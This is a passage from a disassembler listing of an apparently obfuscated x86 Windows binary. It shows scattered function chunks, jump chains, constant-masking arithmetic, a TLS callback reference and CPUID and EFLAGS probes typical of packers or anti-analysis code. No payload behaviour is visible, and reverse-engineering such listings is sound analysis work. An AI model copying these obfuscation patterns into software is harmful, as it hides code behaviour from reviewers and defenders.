loc_428390: ; CODE XREF: sub_42B238-1D38j
jno loc_424945
cmp edx, ebx
jmp loc_4227AC
; END OF FUNCTION CHUNK FOR sub_42B238
; ---------------------------------------------------------------------------
loc_42839D: ; CODE XREF: _94j21ax3:00423C94j
jnz loc_427256
jmp loc_42B8BD
; ---------------------------------------------------------------------------
loc_4283A8: ; CODE XREF: _94j21ax3:00422CB6j
push ebx
push 0A3364411h
pop ebx
and ebx, 7CE423FCh
jmp loc_42918C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428993
loc_4283BA: ; CODE XREF: sub_428993+10j
jz loc_42A750
jmp loc_4268EB
; END OF FUNCTION CHUNK FOR sub_428993
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_4283C5: ; CODE XREF: sub_423324+5A71j
jl loc_427B42
xchg edx, eax
loc_4283CD: ; CODE XREF: sub_42A268:loc_42AAD0j
push 0DCFD8C40h
pop eax
sub eax, 0EEE3932h
add eax, 9A18A70Bh
add eax, ebp
add eax, 97D8033Dh
jmp loc_427B91
; END OF FUNCTION CHUNK FOR sub_423324
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421402
loc_4283EC: ; CODE XREF: sub_421402:loc_42A59Dj
pop eax
and eax, 0F54CC717h
add eax, 0B02A4248h
add eax, ebp
jmp loc_4282E1
; END OF FUNCTION CHUNK FOR sub_421402
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424AED
loc_428400: ; CODE XREF: sub_424AED+Fj
mov esp, ebp
xchg esi, [esp+0]
mov ebp, esi
pop esi
mov eax, ds:dword_42C1FC
push offset loc_424CB1
jmp loc_423007
; END OF FUNCTION CHUNK FOR sub_424AED
; =============== S U B R O U T I N E =======================================
sub_428418 proc near ; CODE XREF: sub_425983-1182p
; _94j21ax3:0042AFCCj
mov [esp+0], edi
pop edi
jz loc_42AC48
mov ecx, [ebx+ecx+0Ch]
or ecx, ecx
jz loc_42AC48
mov edx, [ebx+ecx]
jmp loc_42AC38
sub_428418 endp ; sp-analysis failed
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_212. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42454E
loc_428437: ; CODE XREF: sub_42454E+689Ej
jmp nullsub_133
; END OF FUNCTION CHUNK FOR sub_42454E
; =============== S U B R O U T I N E =======================================
sub_42843C proc near ; DATA XREF: sub_4228FF+50F6o
pop ebp
retn
sub_42843C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A7A6
loc_42843E: ; CODE XREF: sub_42A7A6-1648j
jmp loc_42709A
; END OF FUNCTION CHUNK FOR sub_42A7A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426626
loc_428443: ; CODE XREF: sub_426626+29B6j
jmp loc_42BC61
; END OF FUNCTION CHUNK FOR sub_426626
; ---------------------------------------------------------------------------
loc_428448: ; CODE XREF: _94j21ax3:00422BFAj
; _94j21ax3:00423E45j
mov eax, [ebp-4]
mov al, [eax]
mov [ebp-9], al
mov al, [ebp-0Ah]
call sub_428DA6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_193. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427D03
loc_428459: ; CODE XREF: sub_427D03+Dj
jmp loc_42A0AF
; END OF FUNCTION CHUNK FOR sub_427D03
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423F55
loc_42845E: ; CODE XREF: sub_423F55-2916j
jmp loc_42993B
; END OF FUNCTION CHUNK FOR sub_423F55
; =============== S U B R O U T I N E =======================================
sub_428463 proc near ; DATA XREF: sub_421656+96B9o
call sub_428AE1
sub_428463 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_421656
loc_428468: ; CODE XREF: sub_421656+Aj
; sub_426F9E-4E1Dj
mov eax, ds:dword_426F74
mov [ebp-4], eax
mov eax, [ebp-4]
mov esp, ebp
jmp loc_428ADA
; END OF FUNCTION CHUNK FOR sub_421656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_42847A: ; CODE XREF: sub_4294B3-6A2Bj
jl loc_42790B
sbb ebx, 6F544A27h
jmp loc_428881
; END OF FUNCTION CHUNK FOR sub_4294B3
; =============== S U B R O U T I N E =======================================
sub_42848B proc near ; CODE XREF: sub_424B01+5p
; FUNCTION CHUNK AT 00421288 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042782B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004295C5 SIZE 00000019 BYTES
mov [esp+0], eax
xchg ecx, eax
mov esp, ebp
pop ebp
jmp loc_4295C5
sub_42848B endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42484C
loc_428498: ; CODE XREF: sub_42484C:loc_428752j
sub ecx, 725B8952h
add ecx, 0BEDDC61h
mov ecx, [ecx]
push offset sub_4220FC
jmp sub_426A43
; END OF FUNCTION CHUNK FOR sub_42484C
; ---------------------------------------------------------------------------
loc_4284B0: ; CODE XREF: _94j21ax3:0042C4C2j
jle loc_42704D
loc_4284B6: ; CODE XREF: _94j21ax3:loc_427408j
push offset sub_42B43F
jmp locret_42C507
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4284C0 proc near ; DATA XREF: sub_42651A+6o
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00421000 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004211CE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042BA70 SIZE 00000009 BYTES
push ebp
mov ebp, esp
mov esp, ebp
pop ebp
mov eax, ds:dword_42C498
jmp loc_4211CE
sub_4284C0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421402
loc_4284D1: ; CODE XREF: sub_421402+7BBDj
add ebp, eax
and edx, eax
loc_4284D5: ; CODE XREF: sub_421402:loc_4229C6j
push offset sub_424B54
loc_4284DA: ; CODE XREF: _94j21ax3:004277DDj
jmp nullsub_165
; END OF FUNCTION CHUNK FOR sub_421402
; ---------------------------------------------------------------------------
loc_4284DF: ; CODE XREF: _94j21ax3:0042287Dj
not ebp
or edi, 0F9C3AFA0h
adc ecx, 648C1F53h
loc_4284ED: ; CODE XREF: _94j21ax3:loc_428588j
push 1388h
call sub_42651A
push 0
call sub_429BE2
locret_4284FE: ; CODE XREF: _94j21ax3:00428A34j
retn
; ---------------------------------------------------------------------------
call sub_426809
; START OF FUNCTION CHUNK FOR sub_428954
loc_428504: ; CODE XREF: sub_428954+562j
jmp loc_4273F0
; END OF FUNCTION CHUNK FOR sub_428954
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A7A6
loc_428509: ; CODE XREF: sub_42A7A6-36FDj
jmp sub_4265C2
; END OF FUNCTION CHUNK FOR sub_42A7A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_42850E: ; CODE XREF: sub_4294B3-3C71j
shr ebp, 18h
cmp esi, 0F6EE72BDh
jmp loc_424A18
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
loc_42851C: ; CODE XREF: _94j21ax3:0042888Ej
mov [eax], edx
; =============== S U B R O U T I N E =======================================
sub_42851E proc near ; CODE XREF: sub_428BBD+12p
; FUNCTION CHUNK AT 00422E09 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423486 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042433F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00429E83 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042B5BC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042B82F SIZE 00000005 BYTES
mov [esp+0], eax
pop eax
add eax, edx
pop edx
mov esi, [eax]
add eax, 4
call sub_426744
loc_42852F: ; CODE XREF: sub_421BF6+15j
jmp loc_423486
sub_42851E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421D33
loc_428534: ; CODE XREF: sub_421D33+6CDBj
xor esi, 3A4EBE90h
add esi, ebp
add esi, 7BC2FE89h
call sub_42C2E2
loc_428547: ; CODE XREF: sub_429C27+Dj
jmp loc_42C29F
; END OF FUNCTION CHUNK FOR sub_421D33
; ---------------------------------------------------------------------------
mov ebx, edx
jmp sub_426AFD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_428553: ; CODE XREF: sub_422EB0+8373j
sbb ecx, edx
loc_428555: ; CODE XREF: sub_422EB0:loc_4292F8j
xor eax, eax
mov [ebp-0Ch], eax
lea eax, [ebp-70h]
call sub_423FE1
; END OF FUNCTION CHUNK FOR sub_422EB0
; START OF FUNCTION CHUNK FOR sub_429629
loc_428562: ; CODE XREF: sub_429629-587j
jz loc_426AE0
jmp loc_428B24
; END OF FUNCTION CHUNK FOR sub_429629
; ---------------------------------------------------------------------------
push offset loc_4244D6
jmp loc_421FBF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_428577: ; CODE XREF: sub_42C0BC:loc_427548j
pop edi
add edi, 5E7221FFh
push offset sub_4224AD
jmp loc_42A384
; END OF FUNCTION CHUNK FOR sub_42C0BC
; ---------------------------------------------------------------------------
loc_428588: ; CODE XREF: _94j21ax3:loc_42935Bj
jnz loc_4284ED
jmp loc_422877
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4257BC
loc_428593: ; CODE XREF: sub_4257BC:loc_423A2Ej
push offset loc_421518
jmp nullsub_57
; END OF FUNCTION CHUNK FOR sub_4257BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A0CC
loc_42859D: ; CODE XREF: sub_42A0CC+160Ej
mov edi, 6C1A5CF4h
adc ebx, 2681A882h
xchg ecx, [edi]
loc_4285AA: ; CODE XREF: sub_42A0CC:loc_424A6Ej
push 4D599C3Dh
pop eax
push offset loc_427C79
jmp loc_42239B
; END OF FUNCTION CHUNK FOR sub_42A0CC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421F28
loc_4285BA: ; CODE XREF: sub_421F28:loc_4217ADj
; _94j21ax3:0042BF48j
push eax
call sub_42BFF0
push ecx
push 0A251EE61h
pop ecx
and ecx, 0F48B38E3h
xor ecx, 0BD35A048h
jmp loc_424BB9
; END OF FUNCTION CHUNK FOR sub_421F28
; ---------------------------------------------------------------------------
loc_4285D8: ; CODE XREF: _94j21ax3:00424E76j
cdq
shl edx, 11h
loc_4285DC: ; CODE XREF: _94j21ax3:loc_424E59j
push offset sub_42A117
jmp locret_4259A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422973
loc_4285E6: ; CODE XREF: sub_422973:loc_425215j
xchg ebp, [eax]
jmp loc_42882E
; END OF FUNCTION CHUNK FOR sub_422973
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AA5F
loc_4285ED: ; CODE XREF: sub_42AA5F:loc_426D62j
not ecx
and edx, 846948DFh
jz loc_4240D4
jmp loc_42BFCA
; END OF FUNCTION CHUNK FOR sub_42AA5F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423A56
loc_428600: ; CODE XREF: sub_423A56+1E00j
jnz loc_42B954
jmp loc_429788
; END OF FUNCTION CHUNK FOR sub_423A56
; ---------------------------------------------------------------------------
loc_42860B: ; CODE XREF: _94j21ax3:0042744Bj
add eax, 28h
push ecx
push 0ED0EB7F4h
pop ecx
jmp loc_421EBD
; ---------------------------------------------------------------------------
loc_42861A: ; CODE XREF: _94j21ax3:00425405j
jnp loc_424F5D
; =============== S U B R O U T I N E =======================================
sub_428620 proc near ; CODE XREF: sub_42472B+1p
; sub_422EB0:loc_425610j
; FUNCTION CHUNK AT 00422002 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042211B SIZE 00000005 BYTES
mov [esp+0], eax
pop eax
push edi
push 0FE524C59h
pop edi
rol edi, 0Fh
jmp loc_42211B
sub_428620 endp
; ---------------------------------------------------------------------------
add edx, ebp
mov [ebx], edi
jmp sub_4257BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422FC8
loc_42863C: ; CODE XREF: sub_422FC8:loc_422FD7j
and ecx, eax
sub ebx, edx
xchg ebx, [esp+0]
or edx, esi
jmp loc_4232E0
; END OF FUNCTION CHUNK FOR sub_422FC8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_180. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422790
loc_42864B: ; CODE XREF: sub_422790:loc_428FE2j
call sub_42BB8A
loc_428650: ; CODE XREF: sub_424FE0+Ej
pop edx
and edx, 22EE93D2h
or edx, 0C5E6355Fh
xor edx, 6D9AEDA7h
add edx, ebp
jmp loc_426C3D
; END OF FUNCTION CHUNK FOR sub_422790
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4259BF
loc_42866A: ; CODE XREF: sub_4259BF-4152j
test eax, eax
jl loc_424949
jmp loc_422773
; END OF FUNCTION CHUNK FOR sub_4259BF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42972F
loc_428677: ; CODE XREF: sub_42972F:loc_42660Dj
pop edx
or edx, 0B9E2F08Ch
and edx, 0E194D98Eh
add edx, 5EBD97F1h
xchg edx, [esp+0]
jmp sub_42A8BB
; END OF FUNCTION CHUNK FOR sub_42972F
; ---------------------------------------------------------------------------
loc_428692: ; CODE XREF: _94j21ax3:00429424j
and edx, ebx
; =============== S U B R O U T I N E =======================================
sub_428694 proc near ; CODE XREF: sub_429629+Dp
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00426C61 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00427F9D SIZE 00000005 BYTES
mov [esp+0], eax
pop eax
mov [esp+0], eax
jmp loc_426C61
sub_428694 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42AA5F
loc_4286A0: ; CODE XREF: sub_42AA5F:loc_421542j
sub ecx, 0EE70DA31h
push eax
jmp loc_429B29
; END OF FUNCTION CHUNK FOR sub_42AA5F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BAD4
loc_4286AC: ; CODE XREF: sub_42BAD4-5FA0j
jbe loc_427895
loc_4286B2: ; CODE XREF: _94j21ax3:loc_428F05j
push offset sub_42A2B1
jmp nullsub_171
; END OF FUNCTION CHUNK FOR sub_42BAD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BEDC
loc_4286BC: ; CODE XREF: sub_42BEDC-6487j
push offset sub_429B19
jmp loc_421370
; END OF FUNCTION CHUNK FOR sub_42BEDC
; ---------------------------------------------------------------------------
test esi, 812ECE20h
jmp loc_42596F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424C37
loc_4286D1: ; CODE XREF: sub_424C37+Cj
jnz loc_429B6C
jmp loc_4217A8
; END OF FUNCTION CHUNK FOR sub_424C37
; =============== S U B R O U T I N E =======================================
sub_4286DC proc near ; DATA XREF: _94j21ax3:004297AFo
xchg edx, [esp+0]
jmp loc_427833
sub_4286DC endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_44. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423FCD
loc_4286E5: ; CODE XREF: sub_423FCD+83E0j
jmp loc_42873F
; END OF FUNCTION CHUNK FOR sub_423FCD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428205
loc_4286EA: ; CODE XREF: sub_428205+6j
jmp loc_42B461
; END OF FUNCTION CHUNK FOR sub_428205
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A254
loc_4286EF: ; CODE XREF: sub_42A254+1B5Fj
add ecx, 0CFFF8402h
xchg ecx, [esp+0]
jmp sub_4239A5
; END OF FUNCTION CHUNK FOR sub_42A254
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423BF8
loc_4286FD: ; CODE XREF: sub_423BF8+444Bj
rol eax, 10h
push 50D53E33h
mov [esp+0], eax
retn
; END OF FUNCTION CHUNK FOR sub_423BF8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_428709 proc near ; CODE XREF: sub_427CEA:loc_422F29j
push ebp
mov ebp, esp
call sub_423324
locret_428711: ; CODE XREF: _94j21ax3:0042450Dj
retn
sub_428709 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_428712: ; CODE XREF: _94j21ax3:00427693j
jmp loc_4246DF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429974
loc_428717: ; CODE XREF: sub_429974-7988j
rol eax, 0Eh
push eax
push edi
push 4D7CDF1Dh
pop edi
add edi, 0B2C533FDh
xchg edi, [esp+4+var_4]
jmp loc_423E1B
; END OF FUNCTION CHUNK FOR sub_429974
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42922A
loc_428730: ; CODE XREF: sub_42922A+Cj
mov eax, [eax]
popf
push eax
push ecx
push offset loc_4253D7
jmp loc_4257EE
; END OF FUNCTION CHUNK FOR sub_42922A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423FCD
loc_42873F: ; CODE XREF: sub_423FCD:loc_4286E5j
push edx
call sub_42B478
loc_428745: ; CODE XREF: TlsCallback_0-846Dj
jmp loc_42659C
; END OF FUNCTION CHUNK FOR sub_423FCD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_164. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_42874B proc near ; DATA XREF: sub_429BE2-583Bo
push ds:dword_425BD0
retn
sub_42874B endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42484C
loc_428752: ; CODE XREF: sub_42484C+7794j
jmp loc_428498
; END OF FUNCTION CHUNK FOR sub_42484C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42269A
loc_428757: ; CODE XREF: sub_42269A+1F88j
jmp loc_42B0B8
; END OF FUNCTION CHUNK FOR sub_42269A
; =============== S U B R O U T I N E =======================================
sub_42875C proc near ; CODE XREF: _94j21ax3:00429F54p
; sub_42AC17:loc_42AC28j
; FUNCTION CHUNK AT 004282AE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042AEF5 SIZE 00000005 BYTES
mov eax, ds:dword_42343C
or eax, eax
jnz loc_42AB50
jmp loc_42AEF5
sub_42875C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426A9F
loc_42876F: ; CODE XREF: sub_426A9F-105Aj
add [esi], eax
xor [esi], ebx
add [esi], ecx
xor [esi], edx
loc_428777: ; CODE XREF: sub_422C48:loc_424523j
jmp loc_422AFC
; END OF FUNCTION CHUNK FOR sub_426A9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C1AE
loc_42877C: ; CODE XREF: sub_42C1AE-72D5j
mov eax, 1
xor edx, edx
cpuid
jmp loc_42AA02
; END OF FUNCTION CHUNK FOR sub_42C1AE
; =============== S U B R O U T I N E =======================================
sub_42878A proc near ; CODE XREF: _94j21ax3:0042880Bj
; _94j21ax3:0042A337p
; FUNCTION CHUNK AT 00426D10 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00428C12 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042B874 SIZE 00000005 BYTES
mov [esp+0], edi
pop edi
push 57A9C14Fh
pop esi
xor esi, 5A7175A4h
cmp esi, 6D86A9CDh
jmp loc_428C12
sub_42878A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424EE4
loc_4287A5: ; CODE XREF: sub_424EE4:loc_429CDCj
call sub_423D25
loc_4287AA: ; CODE XREF: sub_42B0C9-18A8j
jmp loc_4253A1
; END OF FUNCTION CHUNK FOR sub_424EE4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A61F
loc_4287AF: ; CODE XREF: sub_42A61F-6ED0j
jmp nullsub_107
; END OF FUNCTION CHUNK FOR sub_42A61F
; ---------------------------------------------------------------------------
loc_4287B4: ; CODE XREF: _94j21ax3:00421ED1j
jmp loc_4242B0
; ---------------------------------------------------------------------------
loc_4287B9: ; CODE XREF: _94j21ax3:00423AA3j
jle loc_421A59
; =============== S U B R O U T I N E =======================================
sub_4287BF proc near ; CODE XREF: sub_424775+2F92p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0042827F SIZE 00000009 BYTES
xchg ecx, [esp-4+arg_0]
pop ecx
add edx, 3C834B82h
jmp loc_42827F
sub_4287BF endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A7FC
loc_4287CE: ; CODE XREF: sub_42A7FC:loc_421C1Bj
mov ds:dword_42C48C, eax
call sub_4258EB
loc_4287D8: ; CODE XREF: sub_42284F+46C6j
; _94j21ax3:00429D50j
jmp loc_425415
; END OF FUNCTION CHUNK FOR sub_42A7FC
; ---------------------------------------------------------------------------
xchg eax, esi
jmp sub_4258EB
; ---------------------------------------------------------------------------
loc_4287E4: ; DATA XREF: sub_42510A+5o
push 0CB6EACB7h
pop ecx
and ecx, 0FF56A084h
add ecx, 34FBD297h
popf
xchg ecx, [esp]
jmp loc_4231C2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_4287FF: ; CODE XREF: sub_4294B3-507Aj
adc ebp, 93C8677h
jmp loc_42302D
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
push ecx
jmp sub_42878A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_175. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_428811 proc near ; CODE XREF: sub_42284F-10D1p
; _94j21ax3:0042492Ej
; FUNCTION CHUNK AT 004219A5 SIZE 00000005 BYTES
mov [esp+0], esi
pop esi
add eax, 4CE1B878h
mov dword ptr [eax], 6C43776Fh
lea eax, [ebp-14h]
push offset loc_4241B1
jmp loc_4219A5
sub_428811 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422973
loc_42882E: ; CODE XREF: sub_422973+5C75j
pop eax
mov [eax], ecx
loc_428831: ; CODE XREF: sub_42BA8A:loc_4235A3j
call sub_4210AA
push 0D29519BCh
pop edx
or edx, 0E5084B89h
xor edx, 6904E983h
push offset sub_42A440
jmp nullsub_63
; END OF FUNCTION CHUNK FOR sub_422973
; ---------------------------------------------------------------------------
push eax
ror eax, 0Fh
mov ds:dword_424080, eax
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421402
loc_42885D: ; CODE XREF: sub_421402+BD0j
jmp loc_4293E5
; END OF FUNCTION CHUNK FOR sub_421402
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429A83
loc_428862: ; CODE XREF: sub_429A83+Aj
xor eax, 200000h
push eax
popf
pushf
xchg ebp, [esp+0]
mov eax, ebp
jmp loc_426F6E
; END OF FUNCTION CHUNK FOR sub_429A83
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BB39
loc_428874: ; CODE XREF: sub_42BB39:loc_427208j
shl ebx, 18h
mov ecx, 1A1A1A7Fh
jmp loc_421056
; END OF FUNCTION CHUNK FOR sub_42BB39
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4294B3
loc_428881: ; CODE XREF: sub_4294B3-102Dj
shl eax, 13h
cmp esi, ecx
jmp loc_4299A5
; END OF FUNCTION CHUNK FOR sub_4294B3
; ---------------------------------------------------------------------------
shr ecx, 16h
jmp loc_42851C
; ---------------------------------------------------------------------------
loc_428893: ; DATA XREF: sub_422AD5+39F3o
push 0EB3B60ADh
pop edx
add edx, 0E9C976D8h
push edx
push offset sub_421393
jmp loc_424A3D
; ---------------------------------------------------------------------------
loc_4288AA: ; CODE XREF: _94j21ax3:00425578j
call sub_429D19
push 0
lea eax, [ebp-400h]
push eax
push 0FFFFFFFFh
jmp loc_42B834
; =============== S U B R O U T I N E =======================================
sub_4288BF proc near ; CODE XREF: sub_426A43j
; DATA XREF: sub_429862-2E29o
mov edx, 0BB931B55h
call sub_4239A5
push eax
ror eax, 1Bh
mov ds:dword_423428, eax
retn
sub_4288BF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4288D4 proc near ; CODE XREF: _94j21ax3:004249D7j
; sub_428B8C+1p
xchg edi, [esp+0]
pop edi
mov eax, [ebp-20h]
call sub_42A709
pop ecx
mov [ebp-20h], eax
loc_4288E4: ; CODE XREF: sub_426626+29ACj
; sub_426626+5644j ...
push offset aLerEIeLeLxSmd ; "‹Eà+E؉EÜ‹EÜ‹å]ém¤"
jmp nullsub_59
sub_4288D4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4288EE proc near ; CODE XREF: sub_421F28-692p
; _94j21ax3:00429C11j
xchg ebx, [esp+0]
pop ebx
xor edx, edx
call sub_428AE1
loc_4288F9: ; CODE XREF: sub_4210AA:loc_426E0Dj
; sub_428993+Aj
push 86E0FEBDh
pop eax
xor eax, 571B1B76h
add eax, 2E463CA9h
jmp loc_428AE7
sub_4288EE endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421DC4
loc_428910: ; CODE XREF: sub_421DC4+8375j
mov [ebp-14h], eax
mov eax, [ebp-14h]
mov eax, [eax+18h]
dec eax
push offset loc_42173B
jmp nullsub_95
; END OF FUNCTION CHUNK FOR sub_421DC4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_428924: ; CODE XREF: sub_422EB0-3Aj
sbb eax, edx
or esi, ecx
jmp loc_4272F8
; ---------------------------------------------------------------------------
loc_42892D: ; CODE XREF: sub_422EB0:loc_42BC7Ej
cmp dword ptr [ebp-4], 4
jnz loc_4272F8
lea eax, [ebp-2BBh]
cmp dword ptr [eax], 47424454h
jz loc_42A566
jmp loc_42AE3A
; END OF FUNCTION CHUNK FOR sub_422EB0
; ---------------------------------------------------------------------------
loc_42894E: ; CODE XREF: _94j21ax3:00422236j
jo loc_4295CA
; =============== S U B R O U T I N E =======================================
sub_428954 proc near ; CODE XREF: sub_4271A0+3D08p
; FUNCTION CHUNK AT 004273F0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00428504 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428E9C SIZE 0000001F BYTES
mov [esp+0], ecx
pop ecx
mov eax, [eax+60h]
add eax, [ebp-4]
mov [ebp-14h], eax
mov eax, [ebp-14h]
mov eax, [eax+18h]
jmp loc_428E9C
sub_428954 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_42896C: ; CODE XREF: _94j21ax3:00425891j
add eax, 3CF1530Ch
mov eax, [eax]
push eax
push esi
push 0EBAE3A9Bh
pop esi
jmp loc_422462
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425324
loc_428981: ; CODE XREF: sub_425324:loc_42532Bj
jz loc_428CAA
jmp loc_427C5F
; END OF FUNCTION CHUNK FOR sub_425324
; ---------------------------------------------------------------------------
xchg ebp, ebx
jmp loc_42AF9A
; =============== S U B R O U T I N E =======================================
sub_428993 proc near ; CODE XREF: sub_4210AA:loc_426DDCj
var_18 = dword ptr -18h
; FUNCTION CHUNK AT 004234B2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042391F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042511D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004268EB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00427E2A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00428129 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004283BA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428D38 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A690 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A750 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042AD49 SIZE 00000018 BYTES
add esp, 0FFFFFFECh
cmp ds:dword_422274, 0
jnz loc_4288F9
jmp loc_4283BA
sub_428993 endp
; ---------------------------------------------------------------------------
ja loc_428E4E
; START OF FUNCTION CHUNK FOR sub_423A56
loc_4289AE: ; CODE XREF: sub_423A56+3A8Bj
jmp sub_42AD91
; END OF FUNCTION CHUNK FOR sub_423A56
; =============== S U B R O U T I N E =======================================
sub_4289B3 proc near ; CODE XREF: sub_42284F+61C8j
; sub_42A061+6p
; FUNCTION CHUNK AT 004245A3 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042A110 SIZE 00000007 BYTES
mov [esp+0], edx
pop edx
xor eax, 0BE7A0F44h
add eax, ebp
add eax, 6F4F84Dh
mov eax, [eax]
mov edx, [ebp-8]
jmp loc_42A110
sub_4289B3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4289CF proc near ; CODE XREF: sub_428F65:loc_4249DCj
; FUNCTION CHUNK AT 0042AB03 SIZE 0000000D BYTES
add esp, 0FFFFFFF4h
jmp loc_42AB03
sub_4289CF endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42315D
